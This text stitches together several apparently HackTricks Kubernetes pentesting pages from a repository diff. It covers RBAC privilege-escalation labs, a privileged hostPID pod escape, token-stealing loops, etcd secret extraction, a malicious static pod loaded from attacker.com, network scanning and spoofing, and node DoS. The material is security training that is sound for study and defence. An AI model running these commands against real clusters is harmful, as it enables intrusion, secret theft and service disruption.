apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
### Patch Daemonset
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
If your user has the **verb update instead of patch, this won't work**.
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Doesn't work
### Create/Patch Bindings
**Doesn't work:**
- **Create a new RoleBinding** just with the verb **create**
- **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA
- **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA
```bash
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### Bind explicitly Bindings
In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\
However, it didn't work for me:
```yaml
# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
```
```yaml
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### Arbitrary roles creation
In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:
```yaml
# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to create a role over all the resources with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
```
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
+49
View File
@@ -0,0 +1,49 @@
# Pod Escape Privileges
{{#include ../../../banners/hacktricks-training.md}}
## Privileged and hostPID
With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
Just executing something like the following will allow you to escape from the pod:
```bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
```
Configuration example:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command:
[
"nsenter",
"--target",
"1",
"--mount",
"--uts",
"--ipc",
"--net",
"--pid",
"--",
"bash",
]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
```
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
+395
View File
@@ -0,0 +1,395 @@
# Attacking Kubernetes from inside a Pod
{{#include ../../banners/hacktricks-training.md}}
## **Pod Breakout**
**If you are lucky enough you may be able to escape from it to the node:**
![](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
{{#ref}}
https://book.hacktricks.xyz/linux-hardening/privilege-escalation
{{#endref}}
You can check this **docker breakouts to try to escape** from a pod you have compromised:
{{#ref}}
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
{{#endref}}
### Abusing Kubernetes Privileges
As explained in the section about **kubernetes enumeration**:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Abusing Cloud Privileges
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
## Search vulnerable network services
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
### Services
**For this purpose, you can try to get all the services of the kubernetes environment:**
```
kubectl get svc --all-namespaces
```
By default, Kubernetes uses a flat networking schema, which means **any pod/service within the cluster can talk to other**. The **namespaces** within the cluster **don't have any network security restrictions by default**. Anyone in the namespace can talk to other namespaces.
### Scanning
The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster:
```bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
{{#ref}}
pentesting-kubernetes-services/
{{#endref}}
### Sniffing
In case the **compromised pod is running some sensitive service** where other pods need to authenticate you might be able to obtain the credentials send from the other pods **sniffing local communications**.
## Network Spoofing
By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**.
{{#ref}}
kubernetes-network-attacks.md
{{#endref}}
## Node DoS
There is no specification of resources in the Kubernetes manifests and **not applied limit** ranges for the containers. As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment.
This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
You can see the difference between while running `stress-ng` and after
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
If you managed to **escape from the container** there are some interesting things you will find in the node:
- The **Container Runtime** process (Docker)
- More **pods/containers** running in the node you can abuse like this one (more tokens)
- The whole **filesystem** and **OS** in general
- The **Kube-Proxy** service listening
- The **Kubelet** service listening. Check config files:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- Other **kubernetes common files**:
- `$HOME/.kube/config` - **User Config**
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Find node kubeconfig
If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### Steal Secrets
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
```
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
A DaemonSet is a **pod** that will be **run** in **all the nodes of the cluster**. Therefore, if a DaemonSet is configured with a **privileged service account,** in **ALL the nodes** you are going to be able to find the **token** of that **privileged service account** that you could abuse.
The exploit is the same one as in the previous section, but you now don't depend on luck.
### Pivot to Cloud
If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
{{#ref}}
kubernetes-pivoting-to-clouds.md
{{#endref}}
### Steal etcd
If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
#### Read secrets from etcd 1
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
Output:
```bash
data-dir=/var/lib/etcd
```
**View the data in etcd database:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Extract the tokens from the database and show the service account name**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Same command, but some greps to only return the default token in the kube-system namespace**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Output:
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
3. Unpack the database:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. Start **`etcd`** on your local machine and make it use the stolen snapshot:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. List all the secrets:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Get the secfrets:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails).
Therefore, static Pods are always **bound to one Kubelet** on a specific node.
The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
> [!CAUTION]
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
**Another more stealth way would be to:**
- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
```
### Delete pods + unschedulable nodes
If an attacker has **compromised a node** and he can **delete pods** from other nodes and **make other nodes not able to execute pods**, the pods will be rerun in the compromised node and he will be able to **steal the tokens** run in them.\
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes).
## Automatic Tools
- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
```
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
```
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
+215
View File
@@ -0,0 +1,215 @@
# Exposing Services in Kubernetes
{{#include ../../banners/hacktricks-training.md}}
There are **different ways to expose services** in Kubernetes so both **internal** endpoints and **external** endpoints can access them. This Kubernetes configuration is pretty critical as the administrator could give access to **attackers to services they shouldn't be able to access**.
### Automatic Enumeration
Before starting enumerating the ways K8s offers to expose services to the public, know that if you can list namespaces, services and ingresses, you can find everything exposed to the public with:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
kubectl get service -n "$ns"
kubectl get ingress -n "$ns"
echo "=============================================="
echo ""
echo ""
done | grep -v "ClusterIP"
# Remove the last '| grep -v "ClusterIP"' to see also type ClusterIP
```
### ClusterIP
A **ClusterIP** service is the **default** Kubernetes **service**. It gives you a **service inside** your cluster that other apps inside your cluster can access. There is **no external access**.
However, this can be accessed using the Kubernetes Proxy:
```bash
kubectl proxy --port=8080
```
Now, you can navigate through the Kubernetes API to access services using this scheme:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
For example you could use the following URL:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
to access this service:
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-internal-service
spec:
selector:
app: my-app
type: ClusterIP
ports:
- name: http
port: 80
targetPort: 80
protocol: TCP
```
_This method requires you to run `kubectl` as an **authenticated user**._
List all ClusterIPs:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
When **NodePort** is utilised, a designated port is made available on all Nodes (representing the Virtual Machines). **Traffic** directed to this specific port is then systematically **routed to the service**. Typically, this method is not recommended due to its drawbacks.
List all NodePorts:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
An example of NodePort specification:
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-nodeport-service
spec:
selector:
app: my-app
type: NodePort
ports:
- name: http
port: 80
targetPort: 80
nodePort: 30036
protocol: TCP
```
If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
You have to pay for a LoadBalancer per exposed service, which can be expensive.
List all LoadBalancers:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
```
### External IPs <a href="#external-ips" id="external-ips"></a>
> [!TIP]
> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
>
> For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
